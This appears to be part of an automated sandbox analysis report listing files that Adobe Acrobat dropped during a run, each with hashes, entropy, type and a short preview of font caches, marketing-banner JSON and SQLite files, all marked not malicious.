DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3272

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332948941930427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJM3g98kUwPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGMbLUkee9
MD5:	993BE162CDF99CD623136AF8421AB8F8
SHA1:	F3B944D1DCAF02DC3FB45B66559DE85479438560
SHA-256:	DEB5694117B22FD3D30731FBAF29412CAA1D702E3D437BFF1170DEE9EF1458E3
SHA-512:	02AF0395572EB94FFFD7860DE51E5412F1306E1D1B858AB0F432EBAFC0B010E45779E38362DCA71DCA011BDBF99FF1A65175909D4EF11C3D28E908917E539BF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.265725047925422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfBoTfXpnrPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGWTfXcUkee9
MD5:	D4EB12F63143605D6BB397E88E49E972
SHA1:	C20E2919A20DDDD6C38AD936A0D513C152F85EE8
SHA-256:	1318C4D547907F6DDCD3B68798F07658D1CE109EE8FAB281F770C11B60AA26AD
SHA-512:	D22D87F77917E3D7ED0E5E7D447B963917F00DA734F45072484921BCFD2CFE39E4327075F9F15E7A019E5FE2726C3F30C17D0BC8A5A62E37539AA10EBE9EAE0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.244874330041303
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfBD2G6UpnrPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGR22cUkee9
MD5:	6836F7DFC764351D44B808035FEF675D
SHA1:	9688826A9C55FE9B6746B2ACBAC618D9A2DAAF05
SHA-256:	4CEEB999E86300B5067178B4EF6918007D168607E30490DA93FAB2485BA4FA08
SHA-512:	3BDE8A1819FCFE8FAD059F2C208ED4FB61577D567E2B809B785AE2C223AFCB43F40A3D57F42180B8A70B6E3CA0745C722E3936D586D4B1C677B0912608D9F57D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.308830314988467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfPmwrPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGH56Ukee9
MD5:	BED962D48DBAD8846A750E0080E6FDA9
SHA1:	6BAD37E41410E6FCD2DD4E0866C1E3835408CF52
SHA-256:	055A4C9500D445E61365C4D8F7F7A0AC3496AA8A8D4DF0155B7D7772EE4FFA13
SHA-512:	7F3F70E7F37FE9A943414A41FDDB113408C781115EE3726FEB10F49464485744F1B9ECF11B19ABD58B38EB758B8BCE1B6A720DC09C8F707DA74B69E927FBB118
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682906930102113
Encrypted:	false
SSDEEP:	24:Yv6XxJhmwtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSd9:YvsJhmWhgy6SAFv5Ah8cv/n
MD5:	9A5CA3AEFD73D422F8A2CE949E3EFAF6
SHA1:	A031F2676BD73C905390C2EDD169C6CADBA63EE0
SHA-256:	6CEDF7D981B9E6E11021936ABF88925D6D56080EB666E844394868842530E471
SHA-512:	97FF85AF9991B6A7B807E786F7BAF1E3D1ED757545A105A9429367685AE5301D8AE4982BDF7C83092F0E98A4D0EFACAD4968847CC71DE330446AA33F45933131
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252196366342263
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJf8dPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGU8Ukee9
MD5:	D7A9AD6F3580EA1C6FF6618011876ADD
SHA1:	A3C7A675558D7ABFA50720D0E02B50B7B91D6EBD
SHA-256:	F4B10661328DB0CC3438DD8AABBD1F6531FD61922A74355562BF95B30B0179B3
SHA-512:	182BC644729DE18EB46BC96618137CD28798C547CC64030F1243AE109A11358EED3C6078A0EBBB6FE29C8D897DE4F2CA1EA26DD44EAC833718365086E42DAABA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249419755883178
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfQ1rPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGY16Ukee9
MD5:	A7BF8D1FD5C4CCB039DC42C256048892
SHA1:	8253DDE349D3A008FA22A6E3B4AD2864A25E005B
SHA-256:	4B3C74578FE44BB58A8B8CF68F1FA6F7B6E233AC37E7AB29A6FF8DBD456758AA
SHA-512:	AE7FAC923A9FB37024BE898F69CCE6FDACF3FBD6A63A4DEFFB40E192B12FEA449469EC15956443713CC162B4D5C90A4AB95182206AACAB4AB1D269E27CED5CE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265566898896377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfFldPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGz8Ukee9
MD5:	C09AD613317C53EF2A9AE34C9B7BBA43
SHA1:	6683DE003C0C54749AECA4C753E1A29917FD5C37
SHA-256:	DEBABB88A2E196AC16499BEBD51A5F7BCEE9D3153578F5965F7C0C47EDC55211
SHA-512:	BF805DCFB735DDB7476B7E7D8B3C9B6224C4FD1CA48EF817D74C0E61E86C3C36F615DFAFF3BC3D9D9C2C01385A62C0D8F61FF2A84F06C93A1E959E89EC9C5797
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.281220255899464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfzdPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGb8Ukee9
MD5:	B50568F199DCBC79D7F0FEA4233C23C6
SHA1:	CF762E8A1975D7C5C90CA9B71C75583CEE074372
SHA-256:	335526456A0595572A9C9C4FA7109CC88F14AEFF3E62C2B83DF4AF2CFA761820
SHA-512:	FB8A2CDC5190CF3F0CB66E74C0878C6A7D72CBC6373AE3D838B028C4C26D2B9502DDFD4B52936646AA748918FEE0C603589C6F4303A2D8F220DB2F1ABF76EB88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26046607186018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfYdPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGg8Ukee9
MD5:	D6F6FA4A61B1C487763C9D8A6121A9B1
SHA1:	021DF54E02C725D859ED7691825F3F349E219C9B
SHA-256:	534C6661962416333EECECC4BBEEE0A10B5AABE6632B308783B0D7D67C209586
SHA-512:	D6915681D529BAC745472B579683281FEA9A449E40CE1C6FBE80FF0328534AA23B127AE421DBEC5A6D57FC3153073F4C0E06D082026BAB8C4450118B6BB85261
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.24716535943556
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJf+dPeUkwRe9:YvXKXFQiLvR/ZwHAiwwG28Ukee9
MD5:	9050800E627F4B3D292C6BAA81ADD2AB
SHA1:	81F5287AE8381BF6CD154721277BDC91A9C74AEF
SHA-256:	B15E7F8EED31FC9CF67F32689B8D3B05E331535127CBAFA2048472D94151FC2B
SHA-512:	A9B91F18CE0D7F8B0A6D431E94155491AAA99A862E2494E6BD91B86181CEBEA595C8190A8DC3310293B4F395804D1D6D7F9FE87A2A26B96FD1D34F0E6C2969F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.244284880380366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfbPtdPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGDV8Ukee9
MD5:	21B8FA76E651BF34E546B0ECD90B5D03
SHA1:	42F0FA63C54477B65C482EBE64C15F2DFB7E8981
SHA-256:	2952D4AA4277BC712C618B4BB12B7D43A1961F60A741997042FA44200E6266ED
SHA-512:	0E418793BB040AA63AE77F3AB7C55EC434F9E673364E20AC87CFDF38747F0355D14F9EB811646A9A4305C26C4EEE66D462E7D446C02BCCB289D57F72E2C334CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.242130870927584
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJf21rPeUkwRe9:YvXKXFQiLvR/ZwHAiwwG+16Ukee9
MD5:	6EDB06991A69F326CA5D865145C792BB
SHA1:	4279923AB1701D827D1F99A5CAA16F412113D9B2
SHA-256:	012681A427A4F7C5CC7C917DC54B988AE6E376DB139CE61E3FB7C24CCBAD8B7A
SHA-512:	08E0083AB3EAEE5A3557084AE96C9A6FE0FD4910ECCFB8B323DE62DE47D9F2618A5D6BE07CD46B7D09D5E46C97D658C707C47CC23ABB00D0809406943C993452
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656969211201426
Encrypted:	false
SSDEEP:	24:Yv6XxJhmwVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSd9:YvsJhmEBgkDMUJUAh8cvMn
MD5:	8521202E4341F949659E4246E11D57DA
SHA1:	6AB0BC29EB78A752350E7972797234C2E2C1383F
SHA-256:	5BD35A16BC0DEDC70F6F61D43B2F7FEA9CAF28447CD307689F96F6225088BAEB
SHA-512:	44CEC141F55ADC0ECD02563656F9CB121274BCF1F4B0D0692DD6775EBA5BD268D80A7F7E24009875121BBC48197737B27D5A183B1878572A2AE4632C173ABC54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.216718313175075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJfshHHrPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGUUUkee9
MD5:	1D00DCFB50AD1883BE2A0B6CD5382A70
SHA1:	AFBA8BD680F569441FE48CDFB670B0219176AA63
SHA-256:	DB7C594D22924769BEC5301EF70C326B831D3D6A7FB2F29D0408C63533030B02
SHA-512:	300AE0F1DD9B4683989F3B4998B566ECFAAB28B1F8500E1B634C25DF02F8381EFAD24D1BF20E8551C381B9878613BC47BD13B2D03F11C725420BF51364B8E4C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2399842854209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFQizBmYvB3/dVlPIHAR0YmWFlxoAvJTqgFCrPeUkwRe9:YvXKXFQiLvR/ZwHAiwwGTq16Ukee9
MD5:	1FB2132220C354D559FEE10A515A0203
SHA1:	5E5519CE128EFA7CCF34C72BCADCF454061613EA
SHA-256:	B417F09DD0E5FD5178BB64A4A3087978CF77B892F3E9B4C295BC4C17DCDC0CEF
SHA-512:	6B03103D797D5D09992F6280B13D5993AE6FE60ABAC2BB9A34760247FE555FB00094F1BC63861784205605F15E74E2CE6540651B006382DE0DD0BD5E962884BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"206874ec-e0d3-4324-953b-edd5edcc6ee1","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736704357731,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129571966648167
Encrypted:	false
SSDEEP:	48:Y5fS2U4I/uzYyO/ZlkMPg18yUudX6RKp9mQn:AfS2UcclDDyUq5l
MD5:	887C867DE7B49326FF36617E418DD0B0
SHA1:	7DFB428AE3188F700D513857AD3B0685D0AA9313
SHA-256:	8B700A0D27C086F641718F50B137A36A3737B5F30324A64D658EDEFFA2DFE98D
SHA-512:	F4A1F40A423AB1132D164F76D168C857798BB59DF81BF79FFC7478E1DA95D925CE1551467935062669889B976CD3992BE152918E512890EC26D91CF8A29B6839
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4e9abefc98b3471d35c300d6a5af3060","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736528393000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"83a7a11e5e2527413d5fb18de6a5de4e","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736528393000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c19eda5a5754cba14cb2d9b54f85e076","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736528393000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"25d75e0990a2e3afa7b91e807e0fd456","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736528393000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c6d4d9cfc847d193f923ce4c129773c3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736528393000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"855aa24e2fc2bcef7f0a2534b2a42d0d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3190891213490952
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahiskypilIYsy:lNVms9WfMwbPahisk9sy
MD5:	39AD5BC047F54FCB4E1E8DA50F542FEF
SHA1:	54DEDA6AD8A3D101AA35E923C7D82D4DDDA17C6D
SHA-256:	D9A21BE44BFC489D3F9B20CCCB5D07E6EE486DD917641D29427352B56AD4266B
SHA-512:	55053911778A4C7081E16918990A54C902D3C571679B0F59266011F571FEED0CAB909A0B6B8A80CA94E4AF7D884BACADE644F6EEE726C297106C17364090DAC3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7824414380645108
Encrypted:	false
SSDEEP:	48:7MqWR1CPmPbPahisBypilIkqFl2GL7msn:7TWfMwbPahisBRKVmsn
MD5:	2606B060254986CF5293575B16AE5A8E
SHA1:	777F06D202563663B1D0A2D3864D6CCF76005AD7
SHA-256:	3B5CCD7D9C3EE9BFA55F7D680D03C3ABEBC449F3BF206F0F31B35FF31A3954BD
SHA-512:	80C375452022DABE778DA31C0401500586100B19582B2ED75107F0E37865A625859EF6459E63748CE12F27F9FA8E6EEC069CFA0CD5CC70C387FE336008A3519F
Malicious:	false
